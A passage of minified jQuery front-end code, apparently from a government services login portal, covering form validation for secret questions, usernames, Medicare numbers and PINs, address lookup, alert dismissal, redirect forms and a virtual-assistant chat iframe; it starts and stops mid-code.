spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this <a href="/mygov/content/html/help.html#MobileNumber">mobile number</a> set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('<button type="submit" class="button-main button">Next</button>');break;case"false":$(".button-main").replaceWith('<a href="'+$("#apdmLink").val()+'" role="button" class="button-main button">Next</a>');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('<button class="dismiss"><span class="is-visuallyhidden">Dismiss</span></button>');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&&currentHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye.svg' alt='' /> Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpinhelptext+"</p>");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye-off.svg' alt=''  /> Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepinhelptext+"</p>");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='<div id="va_mobileBar" style="border-top: #d7ea6a 5px solid"'+mobileLargeClass+' aria-live="polite" >'+'<header class="va_header">'+'<h2 class="va_chatTitle_mob" aria-live="polite" id="va_chatTitle">'+headingTitle+"</h2>"+'<div role="button" style="border: 0; margin: 0;" id="va_mobileToggle" aria-live="polite" class="va_mobileToggle'+vaOpenClass+'" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_mobileToggle")+'"></div>'+"</header>"+"</div>";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='<div id="va_chatHeader" '+desktopHeaderSize+' aria-live="polite" title="'+titleBarTitle+'" aria-label="'+titleBarTitle+'">'+'<div class="va_chatBorder"></div>'+'<header class="va_header va_clearfix" style="box-shadow:0 0 3px rgba(0,0,0,.3)">'+'<h2 class="va_chatTitle" id="va_chatTitle" aria-live="polite" >'+headingTitle+"</h2>"+'<div id="va_resizeIcon" class="va_resizeIcon'+resizeIconClass+'" '+resizeIconState+' tabindex="0" aria-live="polite" title="'+getAltText("va_resizeIcon")+'" aria-label="'+getAltText("va_resizeIcon")+'" style="display: none"></div>'+'<div id="va_toggleIcon" class="va_toggleIcon'+vaExpanded+'" tabindex="0" aria-live="polite" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_toggleIcon")+'"></div>'+"</header>"+"</div>";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("<a "+skipLinkClass+' id="va_skipToBot" href="#">Skip to '+titleBarTitle+"</a>");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new 